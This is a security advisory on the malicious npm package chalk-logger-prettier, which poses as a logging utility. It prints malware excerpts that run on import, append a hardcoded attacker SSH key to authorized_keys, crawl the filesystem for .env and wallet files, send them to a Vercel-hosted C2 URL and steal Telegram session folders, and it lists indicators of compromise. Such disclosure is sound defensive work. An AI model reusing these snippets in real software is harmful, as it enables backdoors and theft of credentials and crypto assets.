chalk-logger-prettier — SSH Backdoor, Filesystem Crawler & Telegram Session Theft
Malicious npm package masquerading as a CLI logging utility. The description — "Pretty colorized changelog-style logger with timestamps and level icons" — is entirely fabricated; the package contains no logging functionality. On import, it immediately executes a multi-stage payload without any function call required by the consumer: it appends a hardcoded attacker SSH public key to ~/.ssh/authorized_keys, crawls the filesystem across Linux, Windows, and macOS for .env files, crypto-keyword JSON files, and documents, exfiltrates them in batches to a Vercel-hosted C2, and steals the Telegram Desktop tdata folder. Three versions were published across 12–14 March 2026. The package is published by the same npm account (bababa / bilalkilnaz.54@gmail.com) responsible for tracing-str (npm-2026-001), confirming a shared threat actor operating multiple malicious packages simultaneously. Notably, the package declares zero runtime dependencies despite making HTTP requests — dependencies are bundled into the compiled output to avoid appearing in dependency scanners.
Package
Threat Actor
Unknown — linked to npm-2026-001 (tracing-str) via shared publisher accountTags
Publisher Link to tracing-str
chalk-logger-prettier shares its npm publisher account with tracing-str (npm-2026-001): both are published by the account bababa with maintainer email bilalkilnaz.54@gmail.com. Both packages also use Vercel-hosted C2 infrastructure with similar subdomain naming conventions (chalk-logger.vercel.app vs hsdf22-tracing-ethers.vercel.app).
Execution on Import — No Function Call Required
Unlike packages that require the consumer to call an exported function, chalk-logger-prettier executes its full payload at import time using top-level async calls with errors silently suppressed. A developer who installs the package and imports it — even just to test it — triggers the entire chain immediately.
Top-level execution — payload fires on import
_ssi(...).catch(() => {}); // SSH key persistence
_spe(...).catch(() => {}); // environment / IP exfiltration
_sejf().then(_sr => {
_saf(...); // file exfiltration
_stia(...); // Telegram tdata theft
}).catch(() => {});
Hardcoded SSH Key Persistence
Rather than fetching a key from the C2 dynamically (as seen in tracing-str), this package embeds the attacker's SSH public key directly in the source. The key is attributed to polymarkeths@gmail.com. It checks whether the key is already present in authorized_keys before appending, and sets correct directory and file permissions (chmod 700 on ~/.ssh, chmod 600 on authorized_keys) to ensure the SSH daemon will accept the key. This gives the attacker permanent, passwordless SSH access to every Linux and macOS machine that imports the package.
Hardcoded SSH key appended to authorized_keys
const _pk = `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDwzFmTsUVxphkQy4Ua6bEeBGqtWCX9VJpXG8Q1Y6TMI polymarkeths@gmail.com`;
// _ark checks for duplicates and sets correct permissions before appending
await _ark(_pk);
Multi-Platform Filesystem Crawler
The _sejf and _sfr functions crawl the entire filesystem, adapting their root paths per operating system. Linux targets the current user's home directory and all /home/* directories. Windows enumerates drives C through J. macOS targets all /Users/* directories. The crawler applies smart exclusions (node_modules, build, dist, assets, and similar) to reduce noise and scan time, ensuring the attacker receives high-signal data rather than junk. Three file categories are targeted. Environment files: any file whose name ends in .env, regardless of location. Crypto and credential JSON files: any .json file whose name matches keywords including wallet, mnemonic, seed, privatekey, keystore, metamask, phantom, trezor, and ledger. Documents: .txt, .doc, .docx, .xls, and .xlsx files whose names match the same keyword list.
OS-aware filesystem crawl roots
// Linux — home dir + all /home/* users
if (platform === 'linux') {
roots = [os.homedir(), '/home'];
}
// Windows — drives C through J
else if (platform === 'win32') {
roots = ['C:\\', 'D:\\', 'E:\\', 'F:\\', 'G:\\', 'H:\\', 'I:\\', 'J:\\'];
}
// macOS — all /Users/* directories
else if (platform === 'darwin') {
roots = ['/Users'];
}
const cryptoKeywords = [
'wallet', 'mnemonic', 'seed', 'privatekey',
'keystore', 'metamask', 'phantom', 'trezor', 'ledger'
];
File Exfiltration — Batched POST to C2
Matched files are batched in groups of 50 and POSTed to the C2's /api/validate endpoint. Each payload includes the victim's OS, public IP, username, and file contents. A deduplication check (alreadySent flag returned by the C2) prevents the same files being sent twice across multiple executions.
Batched file exfiltration to C2
const BATCH_SIZE = 50;
for (let i = 0; i < files.length; i += BATCH_SIZE) {
const batch = files.slice(i, i + BATCH_SIZE);
await axios.post('https://chalk-logger.vercel.app/api/validate', {
os: os.platform(),
ip: publicIp,
username: os.userInfo().username,
files: batch
});
}
Telegram Desktop Session Theft
The _stia and _ptg functions locate and exfiltrate the Telegram Desktop tdata folder — the directory that stores Telegram session keys, allowing full account takeover without credentials or 2FA. On macOS the path is ~/Library/Application Support/Telegram Desktop/tdata; on Windows it is %APPDATA%/Telegram Desktop/tdata. A 500MB size cap is enforced. The folder contents are compressed into a gzip stream and POSTed to the C2. The same alreadySent deduplication check is applied to avoid re-sending on repeat executions. Telegram session theft is increasingly common in supply chain attacks targeting crypto and finance communities where Telegram is a primary communication channel.
Telegram tdata path resolution and exfiltration
const tdataPaths = {
darwin: path.join(os.homedir(), 'Library', 'Application Support', 'Telegram Desktop', 'tdata'),
win32: path.join(process.env.APPDATA, 'Telegram Desktop', 'tdata')
};
const SIZE_CAP_BYTES = 500 * 1024 * 1024; // 500MB
// Pack tdata into gzip stream and POST to C2
await _ptg(tdataPath, 'https://chalk-logger.vercel.app/api/validate');
Indicators of Compromise
Malicious Packages
| Package | Version | Author | Notes |
|---|---|---|---|
| chalk-logger-prettier | 1.0.3 | bababa | Three versions published 12–14 March 2026 (1.0.1, 1.0.2, 1.0.3). Maintainer: bababa / bilalkilnaz.54@gmail.com — same account as tracing-str (npm-2026-001). Declares zero runtime dependencies; HTTP client bundled into compiled output. |
Domains
| Domain | Type | Context |
|---|---|---|
| chalk-logger[.]vercel[.]app | C2 | Vercel-hosted C2 — receives exfiltrated files, env vars, and Telegram tdata |
URLs
| URL | Context |
|---|---|
| hxxps://chalk-logger[.]vercel[.]app/api/validate | Single endpoint used for all exfiltration — files, env vars, Telegram tdata, and deduplication checks |
Targeted File Paths
| Path | Context |
|---|---|
| ~/.ssh/authorized_keys | Attacker SSH public key appended — passwordless SSH backdoor on Linux and macOS |
| ~/Library/Application Support/Telegram Desktop/tdata | Telegram session store targeted on macOS — full account takeover without credentials |
| %APPDATA%/Telegram Desktop/tdata | Telegram session store targeted on Windows |
| **/*.env | All .env files on the filesystem targeted by the crawler |
| **/{wallet,mnemonic,seed,privatekey,keystore,metamask,phantom,trezor,ledger}*.json | Crypto and credential JSON files targeted by keyword matching |
Environment Variables / Config Paths
| Artefact | Context |
|---|---|
| * (all env vars) | Full process.env exfiltrated alongside IP, OS, and username |